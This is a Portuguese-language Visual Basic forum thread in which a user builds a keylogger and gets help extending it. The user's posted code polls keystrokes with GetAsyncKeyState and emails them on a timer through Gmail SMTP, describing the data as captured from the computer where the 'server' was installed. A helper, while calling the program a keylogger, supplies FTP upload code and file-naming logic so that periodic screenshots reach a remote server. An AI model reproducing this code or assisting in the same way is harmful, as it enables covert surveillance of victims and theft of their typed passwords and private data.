none
Como criar screenshot e enviar FTP ? RRS feed

  • Pergunta

  • Olá pessoal, estou fazendo um programa onde em um determinado espaço de tempo(timer) ele envia por SMTP informações digitadas pelo usuário. Gostaria de acrescentar no programa a função de Print Screen(também em um timer) onde ele envia o print para um FTP. Obrigado

    Código que usei para gerar o print. Só falta enviar agora pro FTP

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
            SendKeys.SendWait("^({PRTSC})")
            My.Computer.Clipboard.GetImage.Save("C:form.jpg")
    
        End Sub
    End Class

    segunda-feira, 22 de junho de 2015 22:50

Respostas

  • Então, no seu código, teria que ficar assim:

    Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://ftp.devgamestudios.com/img/form.jpg")
        ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")
        ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
        Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")
        Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
        ftpStream.Write(ficheiro, 0, ficheiro.Length)
        ftpStream.Close()
        ftpStream.Dispose()
    End Sub

    Ou, usando o código que te mandei de base:

    Private Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String
        Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)
        ftpRequest.Credentials = New Net.NetworkCredential(user, password)
        ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
        Try
            Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)
            Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
            ftpStream.Write(ficheiro, 0, ficheiro.Length)
            ftpStream.Close()
            ftpStream.Dispose()
            Return "True"
        Catch ex As Exception
            Return ex.Message
        End Try
    End Function
    
    Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim Status As String = sendFile2FTP("C:\Folder\form.jpg", "ftp://ftp.devgamestudios.com/img/form.jpg", "a9964736", "SENHA")
        'O Status será "True" se der certo... se não será a mensagem de erro.
    End Sub

    Só isso
    • Editado SammuelMiranda terça-feira, 23 de junho de 2015 18:50
    • Marcado como Resposta StereoMyGames quarta-feira, 24 de junho de 2015 17:12
    terça-feira, 23 de junho de 2015 18:47

Todas as Respostas

  • Legal - basicamente um KeyLogger...

    Você tem que conectar com Ftp via FtpWebRequest.

    Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String
            Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)
            ftpRequest.Credentials = New Net.NetworkCredential(user, password)
            ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
            Try
                Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)
                Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
                ftpStream.Write(ficheiro, 0, ficheiro.Length)
                ftpStream.Close()
                ftpStream.Dispose()
                Return "True"
            Catch ex As Exception
                Return ex.Message
            End Try
      End Function

    Esse código veio do StackOverflow. Note que no post foi respondida a maneira correta de usar a função (ftp://NOME_DO_USUARIO@CAMINHO_COMPLETO_NO_SERVIDOR_ATE_O_ARQUIVO).



    terça-feira, 23 de junho de 2015 15:11
  • Obrigado pela resposta amigo, mas não entendi onde coloco o Host, Usuário e Senha e como faço o envio da foto.jpg. Pode me adicionar no skype? Usuário: stereomygames
    terça-feira, 23 de junho de 2015 17:10
  • Adiciono sim, porém mais tarde - não estou com Skype neste PC.

    Para você conectar em um servidor FTP, você precisa de usuário e senha (fornecido pelo servidor FTP - da mesma forma que um e-mail, você tem a senha do seu e-mail, e o usuário).

    • Veja, o fileNameLocal é o endereço do arquivo no pc cliente certo? Então: "C:\form.jpg".
    • fileNameServer é o endereço no servidor FTP aonde o arquivo vai ficar.
      Vamos supor que dentro da pasta compartilhada pelo servidor FTP você tenha uma pasta chama imagens e dentro dela você vai colocar esse arquivo, alterando o nome para não sobrescrever os arquivos que tem lá. Então seria: "ftp.meudominio.com.br/pastaraiz/imagens/form_20150101.jpg" (note que alterei o código da minha resposta anterior já para colocar o "@").
    • user é o usuário do servidor FTP.
    • password é a senha deste usuário.

    O servidor FTP é seu? Você que configurou ele?
    terça-feira, 23 de junho de 2015 17:41
  • Sim, o ftp é meu. Sou iniciante em VB, vou começar um curso daqui 2 semanas.
    terça-feira, 23 de junho de 2015 17:59
  • Entendi - beleza. Como você configurou esse FTP? Veja, quando você conecta a um servidor FTP deve-se ter um usuário e senha. Você já configurou esse FTP ou só instalou ele?
    terça-feira, 23 de junho de 2015 18:17
  • Quando testei retornou com esse erro :

    "O servidor remoto retornou um erro: (553) Nome de arquivo não permitido."

    terça-feira, 23 de junho de 2015 18:22
  • Ah sim, utilizo o FTP de minha hospedagem. Ele possui usuário e senha.
    terça-feira, 23 de junho de 2015 18:24
  • Beleza - o Erro 533 é porque o nome que você usou (no ftNameServer) é inválido. O nome deve respeitar o mesmo formato que usamos em URL's (HTML) - sabe? "%20" para ESPAÇO, acentos também tem seus "%ALGUMA_COISA" etc. Eu não sei eles de cabeça, mas achamos no Google fácil isso.

    Me diga, qual no você está passando em "ftpNameServer"?

    terça-feira, 23 de junho de 2015 18:31
  • O código ficou assim:

      Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
            
            Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("ftp://ftp.devgamestudios.com/img")
            ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")
            ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
    
            Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")
            Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
            ftpStream.Write(ficheiro, 0, ficheiro.Length)
    
            ftpStream.Close()
            ftpStream.Dispose()
    
    
        End Sub

    terça-feira, 23 de junho de 2015 18:38
  • Então, no seu código, teria que ficar assim:

    Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://ftp.devgamestudios.com/img/form.jpg")
        ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")
        ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
        Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")
        Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
        ftpStream.Write(ficheiro, 0, ficheiro.Length)
        ftpStream.Close()
        ftpStream.Dispose()
    End Sub

    Ou, usando o código que te mandei de base:

    Private Function sendFile2FTP(fileNameLocal As String, fileNameServer As String, user As String, password As String) As String
        Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)
        ftpRequest.Credentials = New Net.NetworkCredential(user, password)
        ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
        Try
            Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)
            Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
            ftpStream.Write(ficheiro, 0, ficheiro.Length)
            ftpStream.Close()
            ftpStream.Dispose()
            Return "True"
        Catch ex As Exception
            Return ex.Message
        End Try
    End Function
    
    Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim Status As String = sendFile2FTP("C:\Folder\form.jpg", "ftp://ftp.devgamestudios.com/img/form.jpg", "a9964736", "SENHA")
        'O Status será "True" se der certo... se não será a mensagem de erro.
    End Sub

    Só isso
    • Editado SammuelMiranda terça-feira, 23 de junho de 2015 18:50
    • Marcado como Resposta StereoMyGames quarta-feira, 24 de junho de 2015 17:12
    terça-feira, 23 de junho de 2015 18:47
  • Obrigado por me ajudar a resolver, porém agora retornou com outro erro rsrs :

    URI inválido: esquema URI inválido.

    terça-feira, 23 de junho de 2015 18:49
  • Código todo:

    Imports System.Net.Mail
    Imports System.Net
    Imports System.IO
    Imports System.Threading
    Imports System.Management
    
    Public Class Form1
        Dim result As Integer
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal tecla As Keys) As Keys
    
    
    
      
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
         
    
    
    
            For i = 1 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If result = -32767 Then
                    RichTextBox1.Text = RichTextBox1.Text + Chr(i)
                End If
            Next i
        End Sub
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Timer1.Start()
        End Sub
    
        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            Timer1.Stop()
        End Sub
    
        Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress("stereomygame@gmail.com")
            MyMailMessage.To.Add("stereomygame@gmail.com")
            MyMailMessage.Subject = ("Informações Capturadas")
            MyMailMessage.Body = "Olá, segue abaixo as informações capturadas no computador em que foi instalado o server:                                                                               " + RichTextBox1.Text
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential("stereomygame@gmail.com", "SENHA")
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMessage)
            RichTextBox1.Text = ("")
       
        End Sub
    
        Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged
    
        End Sub
    
        Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
    
        End Sub
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
    
    
    
    
        End Sub
    
        Private Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
            Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("a9964736@ftp://devgamestudios.com/img/form.jpg")
            ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")
            ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
            Dim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")
            Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
            ftpStream.Write(ficheiro, 0, ficheiro.Length)
            ftpStream.Close()
            ftpStream.Dispose()
        End Sub
    
    
    
    
    
    
    
        Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
            Dim k As Long
            k = Shell("c:\windows\system32\taskmgr.exe", vbHide)
    
            SendKeys.SendWait("^({PRTSC})")
            My.Computer.Clipboard.GetImage.Save("C:\Folder\form.jpg")
    
    
    
    
    
        End Sub
        Function sendFile2FTP(ByVal fileNameLocal As String, ByVal fileNameServer As String, ByVal user As String, ByVal password As String) As String
            Dim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)
            ftpRequest.Credentials = New Net.NetworkCredential(user, password)
            ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFile
            Try
                Dim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)
                Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()
                ftpStream.Write(ficheiro, 0, ficheiro.Length)
                ftpStream.Close()
                ftpStream.Dispose()
                Return "True"
            Catch ex As Exception
                Return ex.Message
            End Try
        End Function
    
        Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        End Sub
    
    
    End Class


    terça-feira, 23 de junho de 2015 18:53
  • Stereo OCULTA AS SENHAS DO SEU E-MAIL E DO FTP!! rsrs

    Agora quanto ao erro, não sei te dizer ao certo - vou ter que pesquisar um pouco.

    A URI estar errada significa normalmente que o caminho está errado. Ou seja, em "ftp://devgamestudios.com" não existe uma pasta chamada "img". Ela tem que existir já, e tem que estar na RAIZ DA PASTA GERENCIADA PELO FTP.

    Se você criou uma pasta, vamos dizer, em "C:\FTP\" (no servidor) e essa pasta é a pasta gerenciada pelo FTP, então tem que ter uma pasta "C:\FTP\img\" já existente.

    terça-feira, 23 de junho de 2015 19:02
  • Verdade kkkkk, esqueci. Obrigado por avisar. Quando puder me adicionar Skype me avise. Vou tentar isso. Obrigado.
    terça-feira, 23 de junho de 2015 19:14
  • Bom, criei a pasta img no ftp, e copiei a url direta. Porém deu mesmo erro.
    terça-feira, 23 de junho de 2015 19:18
  • Deu certo aqui, muito obrigado Sammuel !
    terça-feira, 23 de junho de 2015 19:24
  • Uma outra duvida haha : Como faço para colocar uma numeração na frente do nome da imagem (Form1.jpg, Form2.jpg Form3.jpg) pois quando ele cria a imagem ele fica substituindo ao invés de juntar com as outras. Obrigado
    terça-feira, 23 de junho de 2015 19:30
  • Beleza kra, bom que funcionou.

    Ele vai sempre substituir o arquivo se ele já existir. Quando você passar o parâmetro do "fileNameServer" você já tem que passar com o nome do arquivo COMO ELE VAI SE CHAMAR NO SERVIDOR, ou seja, você no seu programa já tem que se preocupar com a "numeração", não tem comando (ou eu não conheço) no FTP que faça isso sozinho.

    Minha sugestão: não use numeração, use a data como final do arquivo. Tipo:

    Function NewName(ByVal FileName As String) As String
       FileName = System.IO.Path.GetFileName(FileName)
       Dim Ext As String = FileName.Substring(FileName.LastIndexOf("."c))
       FileName = FileName.Substring(0, FileNameONLY.Length - Ext.Length)
       FileName += CStr(DATE.Now.Year) + If(DATE.Now.Month > 9, CStr(DATE.Now.Month), "0" + CStr(DATE.Now.Month))
       FileName += If(DATE.Now.Day > 9, CStr(DATE.Now.Day), "0" + CStr(DATE.Now.Day))
       FileName += If(DATE.Now.Hour > 9, CStr(DATE.Now.Hour), "0" + CStr(DATE.Now.Hour))
       FileName += If(DATE.Now.Minute > 9, CStr(DATE.Now.Minute), "0" + CStr(DATE.Now.Minute))
       FileName += If(DATE.Now.Second > 9, CStr(DATE.Now.Second), "0" + CStr(DATE.Now.Second))
       Return FileName + Ext
    End Function

    Ai o nome "Form.jpg" que você passou as 14:28:32 do dia 21/10/2001 vai gerar um nome "Form20011021142832.jpg".

    quinta-feira, 25 de junho de 2015 12:43
  • Obrigado. Onde devo colocar o caminho do arquivo a ser salvo ?

     Function NewName(ByVal FileName As String) As String
            FileName = System.IO.Path.GetFileName(FileName)
            Dim Ext As String = FileName.Substring(FileName.LastIndexOf("."c))
            FileName = FileName.Substring(0, "Print.Length" - Ext.Length)
            FileName += CStr(Date.Now.Year) + If(Date.Now.Month > 9, CStr(Date.Now.Month), "0" + CStr(Date.Now.Month))
            FileName += If(Date.Now.Day > 9, CStr(Date.Now.Day), "0" + CStr(Date.Now.Day))
            FileName += If(Date.Now.Hour > 9, CStr(Date.Now.Hour), "0" + CStr(Date.Now.Hour))
            FileName += If(Date.Now.Minute > 9, CStr(Date.Now.Minute), "0" + CStr(Date.Now.Minute))
            FileName += If(Date.Now.Second > 9, CStr(Date.Now.Second), "0" + CStr(Date.Now.Second))
            Return FileName + Ext
        End Function

    quinta-feira, 25 de junho de 2015 17:34
  • Não nessa função, você vai chamá-la em "Button3_Click" juntamente com a "sendFile2FTP".

    Ao invés de escrever os comandos dentro do "Button3_Click", chame-os.

    quinta-feira, 25 de junho de 2015 19:56